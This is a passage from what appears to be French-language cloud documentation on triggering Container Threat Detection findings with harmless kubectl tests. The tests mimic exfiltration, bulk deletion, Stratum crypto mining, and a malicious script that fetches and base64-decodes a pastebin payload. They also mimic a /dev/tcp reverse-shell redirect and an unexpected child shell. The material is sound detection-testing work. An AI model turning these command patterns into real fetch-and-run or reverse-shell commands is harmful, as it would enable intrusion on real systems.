   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/rsync; /tmp/rsync"

Cette procédure de test doit créer un résultat Exfiltration: Launch Remote File Copy Tools In Container que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection peut filtrer temporairement les résultats Exfiltration: Launch Remote File Copy Tools In Container. Pour afficher toutes les conclusions Exfiltration: Launch Remote File Copy Tools In Container lors de la configuration d'un conteneur, ajoutez ktd-test au nom du conteneur ou du pod, comme dans l'exemple.

Impact: suppression des données groupées du disque

Pour déclencher un résultat Impact: Remove Bulk Data From Disk, placez un binaire capable de supprimer ou d'écraser des données dans votre conteneur, puis exécutez-le. Cet exemple utilise la dernière image Ubuntu 24.04. Il s'agit de copier le binaire /bin/ls et de renommer cette copie en shred (ou un utilitaire similaire conçu pour la suppression sécurisée des fichiers). Le binaire renommé est ensuite exécuté. Cette action est signalée comme suspecte, car elle imite le comportement souvent observé lorsque des tentatives sont effectuées pour supprimer de grandes quantités de données d'un disque dans un environnement conteneurisé.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Introduisez un binaire de suppression de fichiers ou de données tel que shred, puis exécutez-le:

    • Nœud x86:

      tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/shred; /tmp/shred"

    • Nœud ARM:

      tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/shred; /tmp/shred"

Cette procédure de test doit créer un résultat Impact: Remove Bulk Data From Disk que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection peut filtrer temporairement les résultats Impact: Remove Bulk Data From Disk. Pour afficher toutes les conclusions Impact: Remove Bulk Data From Disk lors de la configuration d'un conteneur, ajoutez ktd-test au nom du conteneur ou du pod, comme dans l'exemple.

Impact: activité de minage de cryptomonnaie suspecte à l'aide du protocole Stratum

Pour déclencher une analyse Impact: Suspicious crypto mining activity using the Stratum Protocol, un binaire doit être exécuté dans un conteneur avec des arguments ressemblant à ceux utilisés par les logiciels de minage de cryptomonnaie qui communiquent à l'aide du protocole Stratum. L'exemple utilise la dernière image Ubuntu 24.04. Il copie /bin/ls et renomme cette copie en binaire factice (vraisemblablement pour simuler un mineur de cryptomonnaie). Ce binaire renommé est ensuite exécuté avec des arguments qui incluent stratum+tcp ou des indicateurs de protocole Stratum similaires. Cette activité est signalée comme suspecte, car elle imite les modèles de communication réseau des logiciels de minage de cryptomonnaies dans les environnements conteneurisés.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Introduisez un binaire d'utilitaire tel que curl et exécutez-le avec des arguments qui ressemblent à ceux utilisés par les logiciels de minage de cryptomonnaie qui communiquent à l'aide du protocole Stratum:

    • Nœud x86:

      tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"

    • Nœud ARM:

      tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"

Cette procédure de test doit créer un résultat Impact: Suspicious crypto mining activity using the Stratum Protocol que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection peut filtrer temporairement les résultats Impact: Suspicious crypto mining activity using the Stratum Protocol. Pour afficher toutes les conclusions Impact: Suspicious crypto mining activity using the Stratum Protocol lors de la configuration d'un conteneur, ajoutez ktd-test au nom du conteneur ou du pod, comme dans l'exemple.

Vous pouvez également voir un résultat supplémentaire pour la commande bash que vous exécutez dans ce test. Ce comportement est normal. Vous pouvez ignorer le résultat supplémentaire.

Script malveillant exécuté

Pour déclencher un résultat de script malveillant exécuté, vous pouvez exécuter le script dans la procédure suivante dans votre conteneur.

La procédure déploie la dernière image Ubuntu 24.04, copie un script qui semble malveillant, puis l'exécute. Pour déclencher une détection, un script doit sembler malveillant pour le détecteur.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Exécutez le script suivant dans un nouveau conteneur.

    Ce script Bourne shell intégré provient d'un piège à miel. Toutefois, il a été modifié pour qu'il n'exécute pas le binaire malveillant. L'exécution du script n'entraîne donc aucune activité malveillante dans votre conteneur. Le binaire à l'URL référencée a peut-être été supprimé. Si vous essayez de suivre l'URL, une erreur 404 s'affiche. Ce comportement est normal. La tentative de téléchargement, de décodage et d'exécution d'un binaire à l'aide d'un script intégré déclenche la détection.

    • Nœud x86:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

    • Nœud ARM:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

Cette procédure de test crée un résultat de script malveillant exécuté que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré la journalisation pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

URL malveillante détectée

Pour déclencher un résultat "URL malveillante observée", exécutez un binaire et fournissez une URL malveillante en tant qu'argument.

L'exemple suivant déploie une image Ubuntu 24.04 et exécute /bin/curl pour accéder à un exemple d'URL de logiciel malveillant à partir du service Safe Browsing (Navigation sécurisée).

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Exécutez curl et fournissez une URL malveillante comme argument:

    • Nœud x86:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"

    • Nœud ARM:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
      --restart=Never \
      --rm=true -i \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
      {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
      "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
      "value": "arm64" } ]}}' \
      "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"

Cette procédure de test déclenche un résultat "URL malveillante observée" que vous pouvez afficher dans Security Command Center et, si vous avez configuré la journalisation pour Container Threat Detection, dans Cloud Logging. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Interface système inversée

Pour déclencher un résultat d'interface système inversée, démarrez un fichier binaire avec une redirection stdin vers un socket connecté TCP. Cet exemple copie /bin/echo dans /tmp/sh, puis démarre /tmp/sh avec une redirection vers le DNS public de Google 8.8.8.8 sur le port DNS. Aucun élément n'est imprimé lorsque vous exécutez cet exemple. Pour empêcher toute injection de code externe via une attaque MITM ("man in the middle"), cet exemple n'utilise pas le binaire /bin/sh.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Démarrez un fichier binaire avec une redirection /bin/echo vers le DNS public de Google :

    • Nœud x86:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

    • Nœud ARM:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

Cette procédure de test crée un résultat d'interface système inversée que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Shell enfant inattendu

Pour tester le détecteur Unexpected Child Shell, vous pouvez créer un arbre de processus qui inclut un processus shell enfant.

L'exemple suivant crée un arbre de processus consul->dash, qui peut être détecté par le détecteur Unexpected Child Shell. Ce test est sûr, car il n'utilise que des binaires intégrés. Cet exemple effectue les opérations suivantes :

  1. Crée une copie du processus sh et la nomme consul.
  2. Copiez le processus echo et nommez-le dash.
  3. Invoque le processus dash copié dans le processus consul copié.

Pour déclencher une analyse Unexpected Child Shell, procédez comme suit:

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Utilisez le processus consul fictif pour appeler un shell fictif:

    • Nœud x86:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu "$tag" \
   --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

    • Nœud ARM:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

Cette procédure de test crée un résultat Unexpected Child Shell que vous pouvez afficher dans Security Command Center. Si la journalisation est configurée pour Container Threat Detection et que vous avez activé Security Command Center Premium ou Enterprise au niveau de l'organisation, vous pouvez également afficher le résultat dans Cloud Logging.

Étape suivante